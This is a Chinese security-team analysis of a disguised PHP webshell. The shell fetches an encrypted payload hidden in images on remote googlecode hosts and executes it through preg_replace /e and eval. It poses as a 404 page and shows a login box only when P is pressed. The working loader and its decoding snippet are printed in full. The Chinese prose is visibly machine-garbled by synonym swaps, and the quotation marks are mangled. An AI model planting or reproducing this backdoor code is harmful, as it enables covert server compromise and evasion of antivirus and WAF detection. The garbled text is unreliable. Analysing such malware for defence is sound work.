近日,360网站卫士安全团队近期捕获一个基于PHP实现的webshell样本,其奥妙的代码动态天生办法,猥琐的自身页面伪装手腕,让我们在剖析这个样本的过程中感想熏染到相称多的乐趣。
接下来就让我们一同共赏这个奇葩的Webshell吧。

0x01 细节

Webshell代码如下:

后门apiphp平安与防护PHP后门新弄法一款鄙陋的PHP后门剖析 Ruby

<?phperror_reporting(0);session_start();header(\公众Content-type:text/html;charset=utf-8\"大众);if(empty($_SESSION['api']))$_SESSION['api']=substr(file_get_contents(sprintf('%s?%s',pack(\公众H\公众,'687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067′),uniqid())),3649);@preg_replace(\"大众~(.)~ies\"大众,gzuncompress($_SESSION['api']),null);?>

关键看下面这句代码,

sprintf('%s?%s',pack(\公众H\"大众,'687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067′),uniqid())

这里实行之后实在是一张图片,解密出来的图片地址如下:

http://7shell.googlecode.com/svn/make.jpg?53280b00f1e85

然后调用file_get_contents函数读取图片为字符串,然后substr取3649字节之后的内容,再调用gzuncompress解压,得到真正的代码。
末了调用preg_replace的润色符e来实行恶意代码的。
这里实行以下语句来还原出恶意样本代码,

<?phpecho gzuncompress(substr(file_get_contents(sprintf('%s?%s',pack(\"大众H\"大众,'687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067′),uniqid())),3649));?>

如图所示:

剖析这段代码,创造这是一个伪装的404木马(这里实在是太猥琐了…把页面标题改成404 Not Found),实在全体webshell就一个class外加三个function,如下图:

首先我先看一下它的前端html代码,个中有这么一段js程序

document.onkeydown = function(e) {var theEvent = window.event || e;var code = theEvent.keyCode || theEvent.which;if (80 == code) {$(\公众login\"大众).style.display = \"大众block\"大众}}

这里它用document.onkeydown获取用户敲击键盘事宜,当code即是80的时候显示login这个div,这里查询了一下keyCode的对照表,查到80对应p和P键

以是触发webshell上岸须要按p键(不按P键页面便是一个空缺页,看不到上岸框),如图所示:

再回到做事端php代码中,可以看到程序用的是对称加密,并且将上岸密码作为加密key,代码如图所示:

再看init()的逻辑

如图所示,先看这句代码

$true = @gzuncompress(gzuncompress(Crypt::decrypt(pack('H', '789c63ac0bbec7b494f12cdb02f6dfac3f833731cf093e163a892990793ebf0a9f1c6b18bb68983b3b47a022002a840c59′), $_POST['key'], true)));

根据这个解密逻辑我们可以推出,这里实在是将字符串true做了以下加密处理,

unpack('H',Crypt::encrypt(gzcompress(gzcompress('true')), $_POST['key'] , true))

以是当输入精确密码的时候@gzuncompress返回字符串true,然后程序调用setcookie给客户端返回$_COOKIE['key'],然后值得提一下的是后面这个exit('{\公众status\"大众:\公众on\"大众}'),这里它与前端代码联系很紧密,我们看前端有个callback函数,如下

function callback() {var json = eval(\"大众(\"大众 + this.responseText + \公众)\公众);if (json.status=='on'){window.location.reload();return;}if (json.notice) {$(\"大众notice\公众).style.display = \"大众block\公众;$(\公众notice\公众).innerHTML = json.notice;sideOut();}}

这里实行exit('{\"大众status\"大众:\"大众on\"大众}')会返回json串{\"大众status\公众:\"大众on\"大众},此时前端js代码classback()获取到此相应会实行window.location.reload()刷新,再次要求恰好带上前面获取的cookie,然后实行判断COOKIE的逻辑,如图所示:

这里跟前面POST的逻辑一样,下面当判断为'true'往后,这里又要求了一张图片,pack出来地址为http://2012heike.googlecode.com/svn/trunk/code.jpg,然后调用_REQUEST获取图片内容,解密解压之后再eval,剖析之后创造code.jpg中才是真正的webshell经由加密压缩之后的内容。
这里我跟踪了一下代码打印出了真正实行的webshell的内容:

上岸成功之后的webshell如下图:

0x02 总结

这是一个高度暗藏的webshell,它没有在其代码中用到一些危险函数和敏感字,而是将真正的shell内容经由层层加密处理之后保存到图片当中,丢到做事器上只留下一个url,并且url还是经由加密处理的,以是对外看没有任何特色可寻,过掉了大多数waf以及杀软的查杀。

作者的利用思路新颖,并且前端后端结合紧密,代码精简,各种奇技淫巧,有别于常见的webshell后门,令人佩服!